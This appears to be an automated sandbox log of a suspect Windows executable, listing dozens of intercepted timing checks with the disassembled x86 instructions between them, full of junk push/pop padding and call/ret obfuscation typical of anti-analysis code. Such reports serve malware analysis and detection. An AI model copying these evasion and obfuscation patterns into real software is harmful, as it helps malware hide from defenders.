Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4079 second address: EA40AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jnc 00007FB55958F8B6h 0x00000017 jmp 00007FB55958F8BFh 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f movzx edi, bx 0x00000022 push 00000004h 0x00000024 movsx ecx, dx 0x00000027 push eax 0x00000028 push eax 0x00000029 push ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4880 second address: EA4886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4886 second address: EA488A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA488A second address: EA48A0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FB5588467E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA48A0 second address: EA48E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB55958F8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 jl 00007FB55958F8B9h 0x00000016 lea eax, dword ptr [ebp+1248A2A3h] 0x0000001c mov dh, E6h 0x0000001e nop 0x0000001f jmp 00007FB55958F8C9h 0x00000024 push eax 0x00000025 je 00007FB55958F8C4h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA48E6 second address: EA4933 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007FB5588467F5h 0x00000010 lea eax, dword ptr [ebp+1248A25Fh] 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FB5588467E8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 nop 0x00000031 push esi 0x00000032 push ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4933 second address: E82548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 jns 00007FB55958F8C2h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3801h], ecx 0x00000014 call dword ptr [ebp+122D17E0h] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jo 00007FB55958F8B6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82548 second address: E8254C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8254C second address: E8256D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB55958F8C1h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FB55958F8B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED92F0 second address: ED92F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED92F7 second address: ED92FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED95E3 second address: ED961B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F0h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FB5588467F8h 0x00000011 jno 00007FB5588467E6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED961B second address: ED9620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9620 second address: ED9626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9907 second address: ED991E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB55958F8C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED991E second address: ED9922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF9A5 second address: EDF9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007FB55958F8B8h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF9B5 second address: EDF9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F3h 0x00000009 jp 00007FB5588467E6h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jc 00007FB5588467ECh 0x00000018 jnl 00007FB5588467E6h 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 jp 00007FB5588467E6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE330 second address: EDE338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE338 second address: EDE342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE342 second address: EDE351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FB55958F8B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE351 second address: EDE377 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB5588467E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FB5588467E8h 0x00000010 push edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 jmp 00007FB5588467F1h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE4C8 second address: EDE4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8C6h 0x00000009 pop ebx 0x0000000a jmp 00007FB55958F8C4h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE4FD second address: EDE501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE501 second address: EDE50B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB55958F8B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE639 second address: EDE645 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE794 second address: EDE798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE798 second address: EDE79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE964 second address: EDE969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE969 second address: EDE96E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEC6D second address: EDEC87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEC87 second address: EDEC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEC8D second address: EDEC91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEC91 second address: EDEC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEC97 second address: EDECAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FB55958F8B6h 0x00000012 jne 00007FB55958F8B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDECAF second address: EDECB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDECB3 second address: EDECC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEF82 second address: EDEF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEF93 second address: EDEFA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEFA6 second address: EDEFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FB5588467EDh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEFBA second address: EDEFF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB55958F8C8h 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 ja 00007FB55958F8B6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF186 second address: EDF18A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF18A second address: EDF1AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8C3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FB55958F8B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF871 second address: EDF879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF879 second address: EDF88D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB55958F8BCh 0x00000008 ja 00007FB55958F8B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF88D second address: EDF891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE00F second address: EDE013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE013 second address: EDE028 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE028 second address: EDE041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB55958F8C0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE041 second address: EDE04B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB5588467F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE04B second address: EDE051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE051 second address: EDE059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE059 second address: EDE05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3754 second address: EE375A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE375A second address: EE375E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE65AD second address: EE65D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467EBh 0x00000007 jmp 00007FB5588467F0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FB5588467E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5E59 second address: EE5E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5E5D second address: EE5E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8895 second address: EE889C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE842D second address: EE8462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 ja 00007FB5588467F6h 0x0000000f jmp 00007FB5588467EEh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 jmp 00007FB5588467F3h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8462 second address: EE8472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBC4E second address: EEBC54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBC54 second address: EEBC8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BAh 0x00000007 jmp 00007FB55958F8C9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 jmp 00007FB55958F8BDh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBC8D second address: EEBCA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FB5588467F7h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBCA9 second address: EEBCAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBCAF second address: EEBCB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF14B0 second address: EF14B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1762 second address: EF1768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1768 second address: EF176D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF176D second address: EF1779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FB5588467E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA427A second address: EA4280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4280 second address: EA4284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4284 second address: EA42CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edx, 0D9E29B3h 0x0000000e mov ebx, dword ptr [ebp+1248A29Eh] 0x00000014 xor edi, dword ptr [ebp+124513BAh] 0x0000001a add eax, ebx 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007FB55958F8B8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D3AADh], edi 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f push esi 0x00000040 push eax 0x00000041 pop eax 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA42CB second address: EA42D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA42D1 second address: EA42EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA42EE second address: EA42F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA42F3 second address: EA4358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FB55958F8B8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov edi, 0A65B866h 0x00000027 push 00000004h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007FB55958F8B8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 0000001Ah 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 push eax 0x00000044 cld 0x00000045 pop ecx 0x00000046 mov ecx, dword ptr [ebp+122D187Dh] 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 pop edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF19CC second address: EF19E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467EFh 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jne 00007FB5588467E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF19E9 second address: EF1A11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FB55958F8BAh 0x0000000e jns 00007FB55958F8B6h 0x00000014 pop ebx 0x00000015 popad 0x00000016 pushad 0x00000017 jng 00007FB55958F8B8h 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF67F5 second address: EF67FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5DDE second address: EF5DE8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB55958F8B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5F41 second address: EF5F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBD10 second address: EFBD2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C5h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBD2B second address: EFBD32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC528 second address: EFC543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB55958F8BBh 0x00000009 jmp 00007FB55958F8BCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC543 second address: EFC582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB5588467F9h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC8BE second address: EFC8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCBF1 second address: EFCC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCC08 second address: EFCC15 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB55958F8B8h 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCEE6 second address: EFCEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD1B5 second address: EFD1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
